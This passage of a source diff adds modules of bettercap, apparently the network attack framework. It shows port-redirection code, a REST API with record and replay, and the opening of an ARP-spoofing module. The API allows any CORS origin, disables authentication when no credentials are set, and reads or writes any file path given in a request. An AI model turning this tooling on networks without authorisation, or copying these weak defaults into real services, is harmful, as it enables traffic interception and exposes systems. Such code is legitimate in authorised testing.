+						return fmt.Errorf("start port should be lower than end port")
+					} else {
+						for p := from; p <= to; p++ {
+							ports = append(ports, p)
+						}
+					}
+				} else {
+					return fmt.Errorf("can't parse '%s' as range", token)
+				}
+			} else {
+				return fmt.Errorf("can't parse '%s' as port or range", token)
+			}
+		}
+
+		// after parsing and validation, create a redirection per source port
+		mod.ports = ports
+		mod.redirections = nil
+		for _, port := range mod.ports {
+			redir := firewall.NewRedirection(iface,
+				protocol,
+				port,
+				dstAddress,
+				dstPort)
+
+			if srcAddress != "" {
+				redir.SrcAddress = srcAddress
+			}
+
+			mod.redirections = append(mod.redirections, redir)
+		}
+	}
+
+	if !mod.Session.Firewall.IsForwardingEnabled() {
+		mod.Info("Enabling forwarding.")
+		mod.Session.Firewall.EnableForwarding(true)
+	}
+
+	for _, redir := range mod.redirections {
+		if err := mod.Session.Firewall.EnableRedirection(redir, true); err != nil {
+			return err
+		}
+		mod.Info("applied redirection %s", redir.String())
+	}
+
+	return nil
+}
+
+func (mod *AnyProxy) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {})
+}
+
+func (mod *AnyProxy) Stop() error {
+	for _, redir := range mod.redirections {
+		mod.Info("disabling redirection %s", redir.String())
+		if err := mod.Session.Firewall.EnableRedirection(redir, false); err != nil {
+			return err
+		}
+	}
+	return mod.SetRunning(false, func() {})
+}

+ 311 - 0
bettercap/modules/api_rest/api_rest.go

@@ -0,0 +1,311 @@
+package api_rest
+
+import (
+	"context"
+	"fmt"
+	"net/http"
+	"sync"
+	"time"
+
+	"github.com/bettercap/bettercap/session"
+	"github.com/bettercap/bettercap/tls"
+
+	"github.com/bettercap/recording"
+
+	"github.com/gorilla/mux"
+	"github.com/gorilla/websocket"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+type RestAPI struct {
+	session.SessionModule
+	server       *http.Server
+	username     string
+	password     string
+	certFile     string
+	keyFile      string
+	allowOrigin  string
+	useWebsocket bool
+	upgrader     websocket.Upgrader
+	quit         chan bool
+
+	recClock       int
+	recording      bool
+	recTime        int
+	loading        bool
+	replaying      bool
+	recordFileName string
+	recordWait     *sync.WaitGroup
+	record         *recording.Archive
+	recStarted     time.Time
+	recStopped     time.Time
+}
+
+func NewRestAPI(s *session.Session) *RestAPI {
+	mod := &RestAPI{
+		SessionModule: session.NewSessionModule("api.rest", s),
+		server:        &http.Server{},
+		quit:          make(chan bool),
+		useWebsocket:  false,
+		allowOrigin:   "*",
+		upgrader: websocket.Upgrader{
+			ReadBufferSize:  1024,
+			WriteBufferSize: 1024,
+		},
+		recClock:       1,
+		recording:      false,
+		recTime:        0,
+		loading:        false,
+		replaying:      false,
+		recordFileName: "",
+		recordWait:     &sync.WaitGroup{},
+		record:         nil,
+	}
+
+	mod.State.Store("recording", &mod.recording)
+	mod.State.Store("rec_clock", &mod.recClock)
+	mod.State.Store("replaying", &mod.replaying)
+	mod.State.Store("loading", &mod.loading)
+	mod.State.Store("load_progress", 0)
+	mod.State.Store("rec_time", &mod.recTime)
+	mod.State.Store("rec_filename", &mod.recordFileName)
+	mod.State.Store("rec_frames", 0)
+	mod.State.Store("rec_cur_frame", 0)
+	mod.State.Store("rec_started", &mod.recStarted)
+	mod.State.Store("rec_stopped", &mod.recStopped)
+
+	mod.AddParam(session.NewStringParameter("api.rest.address",
+		"127.0.0.1",
+		session.IPv4Validator,
+		"Address to bind the API REST server to."))
+
+	mod.AddParam(session.NewIntParameter("api.rest.port",
+		"8081",
+		"Port to bind the API REST server to."))
+
+	mod.AddParam(session.NewStringParameter("api.rest.alloworigin",
+		mod.allowOrigin,
+		"",
+		"Value of the Access-Control-Allow-Origin header of the API server."))
+
+	mod.AddParam(session.NewStringParameter("api.rest.username",
+		"",
+		"",
+		"API authentication username."))
+
+	mod.AddParam(session.NewStringParameter("api.rest.password",
+		"",
+		"",
+		"API authentication password."))
+
+	mod.AddParam(session.NewStringParameter("api.rest.certificate",
+		"",
+		"",
+		"API TLS certificate."))
+
+	tls.CertConfigToModule("api.rest", &mod.SessionModule, tls.DefaultLegitConfig)
+
+	mod.AddParam(session.NewStringParameter("api.rest.key",
+		"",
+		"",
+		"API TLS key"))
+
+	mod.AddParam(session.NewBoolParameter("api.rest.websocket",
+		"false",
+		"If true the /api/events route will be available as a websocket endpoint instead of HTTPS."))
+
+	mod.AddHandler(session.NewModuleHandler("api.rest on", "",
+		"Start REST API server.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("api.rest off", "",
+		"Stop REST API server.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddParam(session.NewIntParameter("api.rest.record.clock",
+		"1",
+		"Number of seconds to wait while recording with api.rest.record between one sample and the next one."))
+
+	mod.AddHandler(session.NewModuleHandler("api.rest.record off", "",
+		"Stop recording the session.",
+		func(args []string) error {
+			return mod.stopRecording()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("api.rest.record FILENAME", `api\.rest\.record (.+)`,
+		"Start polling the rest API periodically recording each sample in a compressed file that can be later replayed.",
+		func(args []string) error {
+			return mod.startRecording(args[0])
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("api.rest.replay off", "",
+		"Stop replaying the recorded session.",
+		func(args []string) error {
+			return mod.stopReplay()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("api.rest.replay FILENAME", `api\.rest\.replay (.+)`,
+		"Start the rest API module in replay mode using FILENAME as the recorded session file, will revert to normal mode once the replay is over.",
+		func(args []string) error {
+			return mod.startReplay(args[0])
+		}))
+
+	return mod
+}
+
+type JSSessionRequest struct {
+	Command string `json:"cmd"`
+}
+
+type JSSessionResponse struct {
+	Error string `json:"error"`
+}
+
+func (mod *RestAPI) Name() string {
+	return "api.rest"
+}
+
+func (mod *RestAPI) Description() string {
+	return "Expose a RESTful API."
+}
+
+func (mod *RestAPI) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *RestAPI) isTLS() bool {
+	return mod.certFile != "" && mod.keyFile != ""
+}
+
+func (mod *RestAPI) Configure() error {
+	var err error
+	var ip string
+	var port int
+
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	} else if err, ip = mod.StringParam("api.rest.address"); err != nil {
+		return err
+	} else if err, port = mod.IntParam("api.rest.port"); err != nil {
+		return err
+	} else if err, mod.allowOrigin = mod.StringParam("api.rest.alloworigin"); err != nil {
+		return err
+	} else if err, mod.certFile = mod.StringParam("api.rest.certificate"); err != nil {
+		return err
+	} else if mod.certFile, err = fs.Expand(mod.certFile); err != nil {
+		return err
+	} else if err, mod.keyFile = mod.StringParam("api.rest.key"); err != nil {
+		return err
+	} else if mod.keyFile, err = fs.Expand(mod.keyFile); err != nil {
+		return err
+	} else if err, mod.username = mod.StringParam("api.rest.username"); err != nil {
+		return err
+	} else if err, mod.password = mod.StringParam("api.rest.password"); err != nil {
+		return err
+	} else if err, mod.useWebsocket = mod.BoolParam("api.rest.websocket"); err != nil {
+		return err
+	}
+
+	if mod.isTLS() {
+		if !fs.Exists(mod.certFile) || !fs.Exists(mod.keyFile) {
+			cfg, err := tls.CertConfigFromModule("api.rest", mod.SessionModule)
+			if err != nil {
+				return err
+			}
+
+			mod.Debug("%+v", cfg)
+			mod.Info("generating TLS key to %s", mod.keyFile)
+			mod.Info("generating TLS certificate to %s", mod.certFile)
+			if err := tls.Generate(cfg, mod.certFile, mod.keyFile, false); err != nil {
+				return err
+			}
+		} else {
+			mod.Info("loading TLS key from %s", mod.keyFile)
+			mod.Info("loading TLS certificate from %s", mod.certFile)
+		}
+	}
+
+	mod.server.Addr = fmt.Sprintf("%s:%d", ip, port)
+
+	router := mux.NewRouter()
+
+	router.Methods("OPTIONS").HandlerFunc(mod.corsRoute)
+
+	router.HandleFunc("/api/file", mod.fileRoute)
+
+	router.HandleFunc("/api/events", mod.eventsRoute)
+
+	router.HandleFunc("/api/session", mod.sessionRoute)
+	router.HandleFunc("/api/session/ble", mod.sessionRoute)
+	router.HandleFunc("/api/session/ble/{mac}", mod.sessionRoute)
+	router.HandleFunc("/api/session/hid", mod.sessionRoute)
+	router.HandleFunc("/api/session/hid/{mac}", mod.sessionRoute)
+	router.HandleFunc("/api/session/env", mod.sessionRoute)
+	router.HandleFunc("/api/session/gateway", mod.sessionRoute)
+	router.HandleFunc("/api/session/interface", mod.sessionRoute)
+	router.HandleFunc("/api/session/modules", mod.sessionRoute)
+	router.HandleFunc("/api/session/lan", mod.sessionRoute)
+	router.HandleFunc("/api/session/lan/{mac}", mod.sessionRoute)
+	router.HandleFunc("/api/session/options", mod.sessionRoute)
+	router.HandleFunc("/api/session/packets", mod.sessionRoute)
+	router.HandleFunc("/api/session/started-at", mod.sessionRoute)
+	router.HandleFunc("/api/session/wifi", mod.sessionRoute)
+	router.HandleFunc("/api/session/wifi/{mac}", mod.sessionRoute)
+
+	mod.server.Handler = router
+
+	if mod.username == "" || mod.password == "" {
+		mod.Warning("api.rest.username and/or api.rest.password parameters are empty, authentication is disabled.")
+	}
+
+	return nil
+}
+
+func (mod *RestAPI) Start() error {
+	if mod.replaying {
+		return fmt.Errorf("the api is currently in replay mode, run api.rest.replay off before starting it")
+	} else if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	mod.SetRunning(true, func() {
+		var err error
+
+		if mod.isTLS() {
+			mod.Info("api server starting on https://%s", mod.server.Addr)
+			err = mod.server.ListenAndServeTLS(mod.certFile, mod.keyFile)
+		} else {
+			mod.Info("api server starting on http://%s", mod.server.Addr)
+			err = mod.server.ListenAndServe()
+		}
+
+		if err != nil && err != http.ErrServerClosed {
+			panic(err)
+		}
+	})
+
+	return nil
+}
+
+func (mod *RestAPI) Stop() error {
+	if mod.recording {
+		mod.stopRecording()
+	} else if mod.replaying {
+		mod.stopReplay()
+	}
+
+	return mod.SetRunning(false, func() {
+		go func() {
+			mod.quit <- true
+		}()
+
+		ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
+		defer cancel()
+		mod.server.Shutdown(ctx)
+	})
+}

+ 438 - 0
bettercap/modules/api_rest/api_rest_controller.go

@@ -0,0 +1,438 @@
+package api_rest
+
+import (
+	"crypto/subtle"
+	"encoding/json"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"net/http"
+	"os"
+	"strconv"
+	"strings"
+
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/gorilla/mux"
+)
+
+type CommandRequest struct {
+	Command string `json:"cmd"`
+}
+
+type APIResponse struct {
+	Success bool   `json:"success"`
+	Message string `json:"msg"`
+}
+
+func (mod *RestAPI) setAuthFailed(w http.ResponseWriter, r *http.Request) {
+	mod.Warning("Unauthorized authentication attempt from %s to %s", r.RemoteAddr, r.URL.String())
+
+	w.Header().Set("WWW-Authenticate", `Basic realm="auth"`)
+	w.WriteHeader(401)
+	w.Write([]byte("Unauthorized"))
+}
+
+func (mod *RestAPI) toJSON(w http.ResponseWriter, o interface{}) {
+	w.Header().Set("Content-Type", "application/json")
+	if err := json.NewEncoder(w).Encode(o); err != nil {
+		mod.Debug("error while encoding object to JSON: %v", err)
+	}
+}
+
+func (mod *RestAPI) setSecurityHeaders(w http.ResponseWriter) {
+	w.Header().Add("X-Frame-Options", "DENY")
+	w.Header().Add("X-Content-Type-Options", "nosniff")
+	w.Header().Add("X-XSS-Protection", "1; mode=block")
+	w.Header().Add("Referrer-Policy", "same-origin")
+
+	w.Header().Set("Access-Control-Allow-Origin", mod.allowOrigin)
+	w.Header().Add("Access-Control-Allow-Headers", "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization")
+	w.Header().Add("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE")
+}
+
+func (mod *RestAPI) checkAuth(r *http.Request) bool {
+	if mod.username != "" && mod.password != "" {
+		user, pass, _ := r.BasicAuth()
+		// timing attack my ass
+		if subtle.ConstantTimeCompare([]byte(user), []byte(mod.username)) != 1 {
+			return false
+		} else if subtle.ConstantTimeCompare([]byte(pass), []byte(mod.password)) != 1 {
+			return false
+		}
+	}
+	return true
+}
+
+func (mod *RestAPI) patchFrame(buf []byte) (frame map[string]interface{}, err error) {
+	// this is ugly but necessary: since we're replaying, the
+	// api.rest state object is filled with *old* values (the
+	// recorded ones), but the UI needs updated values at least
+	// of that in order to understand that a replay is going on
+	// and where we are at it. So we need to parse the record
+	// back into a session object and update only the api.rest.state
+	frame = make(map[string]interface{})
+
+	if err = json.Unmarshal(buf, &frame); err != nil {
+		return
+	}
+
+	for _, i := range frame["modules"].([]interface{}) {
+		m := i.(map[string]interface{})
+		if m["name"] == "api.rest" {
+			state := m["state"].(map[string]interface{})
+			mod.State.Range(func(key interface{}, value interface{}) bool {
+				state[key.(string)] = value
+				return true
+			})
+			break
+		}
+	}
+
+	return
+}
+
+func (mod *RestAPI) showSession(w http.ResponseWriter, r *http.Request) {
+	if mod.replaying {
+		if !mod.record.Session.Over() {
+			from := mod.record.Session.Index() - 1
+			q := r.URL.Query()
+			vals := q["from"]
+			if len(vals) > 0 {
+				if n, err := strconv.Atoi(vals[0]); err == nil {
+					from = n
+				}
+			}
+			mod.record.Session.SetFrom(from)
+
+			mod.Debug("replaying session %d of %d from %s",
+				mod.record.Session.Index(),
+				mod.record.Session.Frames(),
+				mod.recordFileName)
+
+			mod.State.Store("rec_frames", mod.record.Session.Frames())
+			mod.State.Store("rec_cur_frame", mod.record.Session.Index())
+
+			buf := mod.record.Session.Next()
+			if frame, err := mod.patchFrame(buf); err != nil {
+				mod.Error("%v", err)
+			} else {
+				mod.toJSON(w, frame)
+				return
+			}
+		} else {
+			mod.stopReplay()
+		}
+	}
+
+	mod.toJSON(w, mod.Session)
+}
+
+func (mod *RestAPI) showBLE(w http.ResponseWriter, r *http.Request) {
+	params := mux.Vars(r)
+	mac := strings.ToLower(params["mac"])
+
+	if mac == "" {
+		mod.toJSON(w, mod.Session.BLE)
+	} else if dev, found := mod.Session.BLE.Get(mac); found {
+		mod.toJSON(w, dev)
+	} else {
+		http.Error(w, "Not Found", 404)
+	}
+}
+
+func (mod *RestAPI) showHID(w http.ResponseWriter, r *http.Request) {
+	params := mux.Vars(r)
+	mac := strings.ToLower(params["mac"])
+
+	if mac == "" {
+		mod.toJSON(w, mod.Session.HID)
+	} else if dev, found := mod.Session.HID.Get(mac); found {
+		mod.toJSON(w, dev)
+	} else {
+		http.Error(w, "Not Found", 404)
+	}
+}
+
+func (mod *RestAPI) showEnv(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.Env)
+}
+
+func (mod *RestAPI) showGateway(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.Gateway)
+}
+
+func (mod *RestAPI) showInterface(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.Interface)
+}
+
+func (mod *RestAPI) showModules(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.Modules)
+}
+
+func (mod *RestAPI) showLAN(w http.ResponseWriter, r *http.Request) {
+	params := mux.Vars(r)
+	mac := strings.ToLower(params["mac"])
+
+	if mac == "" {
+		mod.toJSON(w, mod.Session.Lan)
+	} else if host, found := mod.Session.Lan.Get(mac); found {
+		mod.toJSON(w, host)
+	} else {
+		http.Error(w, "Not Found", 404)
+	}
+}
+
+func (mod *RestAPI) showOptions(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.Options)
+}
+
+func (mod *RestAPI) showPackets(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.Queue)
+}
+
+func (mod *RestAPI) showStartedAt(w http.ResponseWriter, r *http.Request) {
+	mod.toJSON(w, mod.Session.StartedAt)
+}
+
+func (mod *RestAPI) showWiFi(w http.ResponseWriter, r *http.Request) {
+	params := mux.Vars(r)
+	mac := strings.ToLower(params["mac"])
+
+	if mac == "" {
+		mod.toJSON(w, mod.Session.WiFi)
+	} else if station, found := mod.Session.WiFi.Get(mac); found {
+		mod.toJSON(w, station)
+	} else if client, found := mod.Session.WiFi.GetClient(mac); found {
+		mod.toJSON(w, client)
+	} else {
+		http.Error(w, "Not Found", 404)
+	}
+}
+
+func (mod *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
+	var err error
+	var cmd CommandRequest
+
+	if r.Body == nil {
+		http.Error(w, "Bad Request", 400)
+	} else if err = json.NewDecoder(r.Body).Decode(&cmd); err != nil {
+		http.Error(w, "Bad Request", 400)
+	}
+
+	for _, aCommand := range session.ParseCommands(cmd.Command) {
+		if err = mod.Session.Run(aCommand); err != nil {
+			http.Error(w, err.Error(), 400)
+			return
+		}
+	}
+
+	mod.toJSON(w, APIResponse{Success: true})
+}
+
+func (mod *RestAPI) getEvents(limit int) []session.Event {
+	events := make([]session.Event, 0)
+	for _, e := range mod.Session.Events.Sorted() {
+		if mod.Session.EventsIgnoreList.Ignored(e) == false {
+			events = append(events, e)
+		}
+	}
+
+	nevents := len(events)
+	nmax := nevents
+	n := nmax
+
+	if limit > 0 && limit < nmax {
+		n = limit
+	}
+
+	return events[nevents-n:]
+}
+
+func (mod *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
+	q := r.URL.Query()
+
+	if mod.replaying {
+		if !mod.record.Events.Over() {
+			from := mod.record.Events.Index() - 1
+			vals := q["from"]
+			if len(vals) > 0 {
+				if n, err := strconv.Atoi(vals[0]); err == nil {
+					from = n
+				}
+			}
+			mod.record.Events.SetFrom(from)
+
+			mod.Debug("replaying events %d of %d from %s",
+				mod.record.Events.Index(),
+				mod.record.Events.Frames(),
+				mod.recordFileName)
+
+			buf := mod.record.Events.Next()
+			if _, err := w.Write(buf); err != nil {
+				mod.Error("%v", err)
+			} else {
+				return
+			}
+		} else {
+			mod.stopReplay()
+		}
+	}
+
+	if mod.useWebsocket {
+		mod.startStreamingEvents(w, r)
+	} else {
+		vals := q["n"]
+		limit := 0
+		if len(vals) > 0 {
+			if n, err := strconv.Atoi(q["n"][0]); err == nil {
+				limit = n
+			}
+		}
+
+		mod.toJSON(w, mod.getEvents(limit))
+	}
+}
+
+func (mod *RestAPI) clearEvents(w http.ResponseWriter, r *http.Request) {
+	mod.Session.Events.Clear()
+}
+
+func (mod *RestAPI) corsRoute(w http.ResponseWriter, r *http.Request) {
+	mod.setSecurityHeaders(w)
+	w.WriteHeader(http.StatusNoContent)
+}
+
+func (mod *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
+	mod.setSecurityHeaders(w)
+
+	if !mod.checkAuth(r) {
+		mod.setAuthFailed(w, r)
+		return
+	} else if r.Method == "POST" {
+		mod.runSessionCommand(w, r)
+		return
+	} else if r.Method != "GET" {
+		http.Error(w, "Bad Request", 400)
+		return
+	}
+
+	mod.Session.Lock()
+	defer mod.Session.Unlock()
+
+	path := r.URL.Path
+	switch {
+	case path == "/api/session":
+		mod.showSession(w, r)
+
+	case path == "/api/session/env":
+		mod.showEnv(w, r)
+
+	case path == "/api/session/gateway":
+		mod.showGateway(w, r)
+
+	case path == "/api/session/interface":
+		mod.showInterface(w, r)
+
+	case strings.HasPrefix(path, "/api/session/modules"):
+		mod.showModules(w, r)
+
+	case strings.HasPrefix(path, "/api/session/lan"):
+		mod.showLAN(w, r)
+
+	case path == "/api/session/options":
+		mod.showOptions(w, r)
+
+	case path == "/api/session/packets":
+		mod.showPackets(w, r)
+
+	case path == "/api/session/started-at":
+		mod.showStartedAt(w, r)
+
+	case strings.HasPrefix(path, "/api/session/ble"):
+		mod.showBLE(w, r)
+
+	case strings.HasPrefix(path, "/api/session/hid"):
+		mod.showHID(w, r)
+
+	case strings.HasPrefix(path, "/api/session/wifi"):
+		mod.showWiFi(w, r)
+
+	default:
+		http.Error(w, "Not Found", 404)
+	}
+}
+
+func (mod *RestAPI) readFile(fileName string, w http.ResponseWriter, r *http.Request) {
+	fp, err := os.Open(fileName)
+	if err != nil {
+		msg := fmt.Sprintf("could not open %s for reading: %s", fileName, err)
+		mod.Debug(msg)
+		http.Error(w, msg, 404)
+		return
+	}
+	defer fp.Close()
+
+	w.Header().Set("Content-type", "application/octet-stream")
+
+	io.Copy(w, fp)
+}
+
+func (mod *RestAPI) writeFile(fileName string, w http.ResponseWriter, r *http.Request) {
+	data, err := ioutil.ReadAll(r.Body)
+	if err != nil {
+		msg := fmt.Sprintf("invalid file upload: %s", err)
+		mod.Warning(msg)
+		http.Error(w, msg, 404)
+		return
+	}
+
+	err = ioutil.WriteFile(fileName, data, 0666)
+	if err != nil {
+		msg := fmt.Sprintf("can't write to %s: %s", fileName, err)
+		mod.Warning(msg)
+		http.Error(w, msg, 404)
+		return
+	}
+
+	mod.toJSON(w, APIResponse{
+		Success: true,
+		Message: fmt.Sprintf("%s created", fileName),
+	})
+}
+
+func (mod *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
+	mod.setSecurityHeaders(w)
+
+	if !mod.checkAuth(r) {
+		mod.setAuthFailed(w, r)
+		return
+	}
+
+	if r.Method == "GET" {
+		mod.showEvents(w, r)
+	} else if r.Method == "DELETE" {
+		mod.clearEvents(w, r)
+	} else {
+		http.Error(w, "Bad Request", 400)
+	}
+}
+
+func (mod *RestAPI) fileRoute(w http.ResponseWriter, r *http.Request) {
+	mod.setSecurityHeaders(w)
+
+	if !mod.checkAuth(r) {
+		mod.setAuthFailed(w, r)
+		return
+	}
+
+	fileName := r.URL.Query().Get("name")
+
+	if fileName != "" && r.Method == "GET" {
+		mod.readFile(fileName, w, r)
+	} else if fileName != "" && r.Method == "POST" {
+		mod.writeFile(fileName, w, r)
+	} else {
+		http.Error(w, "Bad Request", 400)
+	}
+}

+ 118 - 0
bettercap/modules/api_rest/api_rest_record.go

@@ -0,0 +1,118 @@
+package api_rest
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"time"
+
+	"github.com/bettercap/recording"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+var (
+	errNotRecording = errors.New("not recording")
+)
+
+func (mod *RestAPI) errAlreadyRecording() error {
+	return fmt.Errorf("the module is already recording to %s", mod.recordFileName)
+}
+
+func (mod *RestAPI) recordState() error {
+	mod.Session.Lock()
+	defer mod.Session.Unlock()
+
+	session := new(bytes.Buffer)
+	encoder := json.NewEncoder(session)
+
+	if err := encoder.Encode(mod.Session); err != nil {
+		return err
+	}
+
+	events := new(bytes.Buffer)
+	encoder = json.NewEncoder(events)
+
+	if err := encoder.Encode(mod.getEvents(0)); err != nil {
+		return err
+	}
+
+	return mod.record.NewState(session.Bytes(), events.Bytes())
+}
+
+func (mod *RestAPI) recorder() {
+	clock := time.Duration(mod.recClock) * time.Second
+
+	mod.recTime = 0
+	mod.recording = true
+	mod.replaying = false
+	mod.record = recording.New(mod.recordFileName)
+
+	mod.Info("started recording to %s (clock %s) ...", mod.recordFileName, clock)
+
+	mod.recordWait.Add(1)
+	defer mod.recordWait.Done()
+
+	tick := time.NewTicker(1 * time.Second)
+	lastSampled := time.Time{}
+
+	for range tick.C {
+		if !mod.recording {
+			break
+		}
+
+		mod.recTime++
+
+		if time.Since(lastSampled) >= clock {
+			lastSampled = time.Now()
+			if err := mod.recordState(); err != nil {
+				mod.Error("error while recording: %s", err)
+				mod.recording = false
+				break
+			}
+		}
+	}
+
+	mod.Info("stopped recording to %s ...", mod.recordFileName)
+}
+
+func (mod *RestAPI) startRecording(filename string) (err error) {
+	if mod.recording {
+		return mod.errAlreadyRecording()
+	} else if mod.replaying {
+		return mod.errAlreadyReplaying()
+	} else if err, mod.recClock = mod.IntParam("api.rest.record.clock"); err != nil {
+		return err
+	} else if mod.recordFileName, err = fs.Expand(filename); err != nil {
+		return err
+	}
+
+	// we need the api itself up and running
+	if !mod.Running() {
+		if err = mod.Start(); err != nil {
+			return err
+		}
+	}
+
+	go mod.recorder()
+
+	return nil
+}
+
+func (mod *RestAPI) stopRecording() error {
+	if !mod.recording {
+		return errNotRecording
+	}
+
+	mod.recording = false
+
+	mod.recordWait.Wait()
+
+	err := mod.record.Flush()
+
+	mod.recordFileName = ""
+	mod.record = nil
+
+	return err
+}

+ 86 - 0
bettercap/modules/api_rest/api_rest_replay.go

@@ -0,0 +1,86 @@
+package api_rest
+
+import (
+	"errors"
+	"fmt"
+	"time"
+
+	"github.com/bettercap/recording"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+var (
+	errNotReplaying = errors.New("not replaying")
+)
+
+func (mod *RestAPI) errAlreadyReplaying() error {
+	return fmt.Errorf("the module is already replaying a session from %s", mod.recordFileName)
+}
+
+func (mod *RestAPI) startReplay(filename string) (err error) {
+	if mod.replaying {
+		return mod.errAlreadyReplaying()
+	} else if mod.recording {
+		return mod.errAlreadyRecording()
+	} else if mod.recordFileName, err = fs.Expand(filename); err != nil {
+		return err
+	}
+
+	mod.State.Store("load_progress", 0)
+	defer func() {
+		mod.State.Store("load_progress", 100.0)
+	}()
+
+	mod.loading = true
+	defer func() {
+		mod.loading = false
+	}()
+
+	mod.Info("loading %s ...", mod.recordFileName)
+
+	start := time.Now()
+	mod.record, err = recording.Load(mod.recordFileName, func(progress float64, done int, total int) {
+		mod.State.Store("load_progress", progress)
+	})
+	if err != nil {
+		return err
+	}
+	loadedIn := time.Since(start)
+
+	// we need the api itself up and running
+	if !mod.Running() {
+		if err := mod.Start(); err != nil {
+			return err
+		}
+	}
+
+	mod.recStarted = mod.record.Session.StartedAt()
+	mod.recStopped = mod.record.Session.StoppedAt()
+	duration := mod.recStopped.Sub(mod.recStarted)
+	mod.recTime = int(duration.Seconds())
+	mod.replaying = true
+	mod.recording = false
+
+	mod.Info("loaded %s of recording (%d frames) started at %s in %s, started replaying ...",
+		duration,
+		mod.record.Session.Frames(),
+		mod.recStarted,
+		loadedIn)
+
+	return nil
+}
+
+func (mod *RestAPI) stopReplay() error {
+	if !mod.replaying {
+		return errNotReplaying
+	}
+
+	mod.replaying = false
+
+	mod.Info("stopped replaying from %s ...", mod.recordFileName)
+
+	mod.recordFileName = ""
+
+	return nil
+}

+ 118 - 0
bettercap/modules/api_rest/api_rest_ws.go

@@ -0,0 +1,118 @@
+package api_rest
+
+import (
+	"encoding/json"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/gorilla/websocket"
+)
+
+const (
+	// Time allowed to write an event to the client.
+	writeWait = 10 * time.Second
+	// Time allowed to read the next pong message from the client.
+	pongWait = 60 * time.Second
+	// Send pings to client with this period. Must be less than pongWait.
+	pingPeriod = (pongWait * 9) / 10
+)
+
+func (mod *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
+	msg, err := json.Marshal(event)
+	if err != nil {
+		mod.Error("Error while creating websocket message: %s", err)
+		return err
+	}
+
+	ws.SetWriteDeadline(time.Now().Add(writeWait))
+	if err := ws.WriteMessage(websocket.TextMessage, msg); err != nil {
+		if !strings.Contains(err.Error(), "closed connection") {
+			mod.Error("Error while writing websocket message: %s", err)
+			return err
+		}
+	}
+
+	return nil
+}
+
+func (mod *RestAPI) sendPing(ws *websocket.Conn) error {
+	ws.SetWriteDeadline(time.Now().Add(writeWait))
+	ws.SetReadDeadline(time.Now().Add(pongWait))
+	if err := ws.WriteMessage(websocket.PingMessage, []byte{}); err != nil {
+		mod.Error("Error while writing websocket ping message: %s", err)
+		return err
+	}
+	return nil
+}
+
+func (mod *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *http.Request) {
+	defer ws.Close()
+
+	// first we stream what we already have
+	events := session.I.Events.Sorted()
+	n := len(events)
+	if n > 0 {
+		mod.Debug("Sending %d events.", n)
+		for _, event := range events {
+			if err := mod.streamEvent(ws, event); err != nil {
+				return
+			}
+		}
+	}
+
+	session.I.Events.Clear()
+
+	mod.Debug("Listening for events and streaming to ws endpoint ...")
+
+	pingTicker := time.NewTicker(pingPeriod)
+	listener := session.I.Events.Listen()
+	defer session.I.Events.Unlisten(listener)
+
+	for {
+		select {
+		case <-pingTicker.C:
+			if err := mod.sendPing(ws); err != nil {
+				return
+			}
+		case event := <-listener:
+			if err := mod.streamEvent(ws, event); err != nil {
+				return
+			}
+		case <-mod.quit:
+			mod.Info("Stopping websocket events streamer ...")
+			return
+		}
+	}
+}
+
+func (mod *RestAPI) streamReader(ws *websocket.Conn) {
+	defer ws.Close()
+	ws.SetReadLimit(512)
+	ws.SetReadDeadline(time.Now().Add(pongWait))
+	ws.SetPongHandler(func(string) error { ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
+	for {
+		_, _, err := ws.ReadMessage()
+		if err != nil {
+			mod.Warning("error reading message from websocket: %v", err)
+			break
+		}
+	}
+}
+
+func (mod *RestAPI) startStreamingEvents(w http.ResponseWriter, r *http.Request) {
+	ws, err := mod.upgrader.Upgrade(w, r, nil)
+	if err != nil {
+		if _, ok := err.(websocket.HandshakeError); !ok {
+			mod.Error("error while updating api.rest connection to websocket: %s", err)
+		}
+		return
+	}
+
+	mod.Debug("websocket streaming started for %s", r.RemoteAddr)
+
+	go mod.streamWriter(ws, w, r)
+	mod.streamReader(ws)
+}

+ 333 - 0
bettercap/modules/arp_spoof/arp_spoof.go

@@ -0,0 +1,333 @@
+package arp_spoof
+
+import (
+	"bytes"
+	"net"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/packets"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/malfunkt/iprange"
+)
+
+type ArpSpoofer struct {
+	session.SessionModule
+	addresses   []net.IP
+	macs        []net.HardwareAddr
+	wAddresses  []net.IP
+	wMacs       []net.HardwareAddr
+	fullDuplex  bool
+	internal    bool
+	ban         bool
+	skipRestore bool
